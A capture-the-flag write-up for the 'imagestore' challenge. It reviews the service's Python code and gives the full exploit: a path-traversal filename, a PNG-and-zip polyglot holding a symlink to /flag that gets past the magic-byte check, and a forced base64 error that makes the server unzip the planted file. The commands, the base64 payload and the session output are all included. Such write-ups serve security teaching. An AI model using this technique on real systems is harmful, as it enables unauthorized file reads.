Tags: miscellaneous file_path_traversal symlink misc extension zip python magic_byte 

Rating:

We got first blood on this challenge (10 teams solved it in the end), so here's a writeup of how we solved it.

Prompt

I keep too many photos of pizzas on my computer and my drive is almost full. Unfortunately I can't simply upload them to Google Photos because I don't like public cloud. So I decided to write my own CLI service to store all my images!

Can you read /flag?

This is a remote challenge, you can connect to the service with: nc imagestore.challs.teamitaly.eu 15000

Tip: to input a line longer than 4095 characters on your terminal, run stty -icanon; nc imagestore.challs.teamitaly.eu 15000.

Author: @napaalm

Attachments: imagestore.py

Code Review

We are given a python file which the server is running. A user can choose one of the following options:

  • uploading an image
  • downloading an image (that you've uploaded earlier)
  • deleting an image
  • uploading multiple images

There are two interesting functions: upload_image and upload_multiple_images. Let's look at upload_multiple_images first, because the 'Hacker detected' line stands out.

def upload_multiple_images():
    path = "/tmp/images.zip"

    encoded_content = input("Base64-encoded zip: ")
    try:
        with open(path, "wb+") as file:
            content = base64.b64decode(encoded_content)
            file.write(content)

            # mamma mia, we don't want symlinks!
            for zipinfo in zipfile.ZipFile(file).infolist():
                if zipinfo.external_attr >> 16:
                    print("Hacker detected!!")
                    return
    except zipfile.BadZipFile:
        print("Invalid zipfile!")
        return
    except binascii.Error:
        print("Invalid base64")

    if subprocess.run(["unzip", "-o", "-q", path, "-d", IMAGES_PATH]).returncode <= 1:
        print("Archive successfully uploaded and extracted")
    else:
        print("Error while extracting the archive")

So we have the option of sending an input. If there's a symlink present, 'Hacker detected' is printed and we return, so we can't upload a zip file such as the following to this function:

❯ ln -s /flag symlink_to_flag.link 
❯ zip --symlink cheeky.zip symlink_to_flag.link

Interestingly, when a binascii.Error is thrown, we don't return, but continue running the function. This results in an attempt to extract /tmp/images.zip. Maybe we can exploit this in some way? Let's look at the other function that's interesting:

def upload_image():
    name = input("Name for your image: ")

    encoded_content = input("Base64-encoded image: ")
    try:
        content = base64.b64decode(encoded_content)
    except binascii.Error:
        print("Invalid base64!")
        return

    if content == b"":
        print("Empty file!")
        return

    if not filetype.is_image(content):
        print("Only image files are allowed!")
        return

    with open(os.path.join(IMAGES_PATH, name), "wb") as file:
        file.write(content)

Here we see that the filename is vulnerable to a directory traversal attack. This means that we can also write to ../../../tmp/images.zip. So maybe we can read the flag by uploading a file to this path, which will then be unzipped when we trigger a binascii.Error in the upload_multiple_images function?

However, we can't just upload our cheeky.zip, because we won't pass the filetype.is_image check. What if we just append our zip to a png? Maybe this will pass the filetype.is_image check, but unzip anyway?

❯ cat cheeky.zip >> pixel.png 

When we unzip this, it works as we hoped (despite the warning), so it seems like we have all ingredients ready so we can get the flag!

❯ unzip pixel.png
Archive:  pixel.png
warning [pixel.png]:  70 extra bytes at beginning or within zipfile
  (attempting to process anyway)
    linking: symlink_to_flag.link    -> /flag 
finishing deferred symbolic links:
  symlink_to_flag.link   -> /flag

One final complication was the name of the file. When testing locally, we were prompted with:

[/tmp/images.zip]
  End-of-central-directory signature not found.  Either this file is not
  a zipfile, or it constitutes one disk of a multi-part archive.  In the
  latter case the central directory and zipfile comment will be found on
  the last disk(s) of this archive.
unzip:  cannot find zipfile directory in one of /tmp/images.zip or
        /tmp/images.zip.zip, and cannot find /tmp/images.zip.ZIP, period.
Error while extracting the archive

So maybe we change ../../../tmp/images.zip to ../../../tmp/images.zip.zip? And this worked! We're not sure why this works, so if anyone could enlighten us, we'd be grateful! Now we are ready to drop our payload remotely.

Summary Payload Preparation

Create symlink to file.

❯ ln -s /flag symlink_to_flag.link 

Check symlink to file:

❯ ls -lh                         
lrwxrwxrwx 1 user user    5 Sep  9 00:00 symlink_to_flag.link -> /flag

Zip symlink:

❯ zip --symlink cheeky.zip symlink_to_flag.link
  adding: symlink_to_flag.link (stored 0%)

Download 1-pixel png and save to file:

echo "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJggg==" | base64 -d > pixel.png

Append zipfile to png:

❯ cat cheeky.zip >> pixel.png 

Get our base64 payload:

❯ base64 pixel.png 
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJgglBLAwQKAAAAAACzAilVTnsDdQUAAAAFAAAAFAAcAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQJAAPxahpj8WoaY3V4CwABBOgDAAAE6AMAAC9mbGFnUEsBAh4DCgAAAAAAswIpVU57A3UFAAAABQAAABQAGAAAAAAAAAAAAP+hAAAAAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQFAAPxahpjdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAWgAAAFMAAAAAAA==

Exploit Time

So now everything is ready to read the flag! Let's connect

nc imagestore.challs.teamitaly.eu 15000

and upload our payload.

1. Upload an image
2. Download an image
3. Delete an image
4. Upload multiple images
5. Exit

Insert your choice
> 1
Name for your image: ../../../tmp/images.zip.zip
Base64-encoded image: iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJgglBLAwQKAAAAAACzAilVTnsDdQUAAAAFAAAAFAAcAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQJAAPxahpj8WoaY3V4CwABBOgDAAAE6AMAAC9mbGFnUEsBAh4DCgAAAAAAswIpVU57A3UFAAAABQAAABQAGAAAAAAAAAAAAP+hAAAAAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQFAAPxahpjdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAWgAAAFMAAAAAAA==

We make sure to trigger the binascii.Error in upload_multiple_images:

1. Upload an image
2. Download an image
3. Delete an image
4. Upload multiple images
5. Exit

Insert your choice
> 4
Base64-encoded zip: a
Invalid base64
Archive successfully uploaded and extracted

Now we can download our image:

1. Upload an image
2. Download an image
3. Delete an image
4. Upload multiple images
5. Exit

Insert your choice
> 2
0. symlink_to_flag.link

Select which image to download
> 0
Here is your image
ZmxhZ3tkMG50X3RydTV0X000Z2ljX0J5dDNzfQ==

And we've got the flag!

echo "ZmxhZ3tkMG50X3RydTV0X000Z2ljX0J5dDNzfQ==" | base64 -d

flag{d0nt_tru5t_M4gic_Byt3s}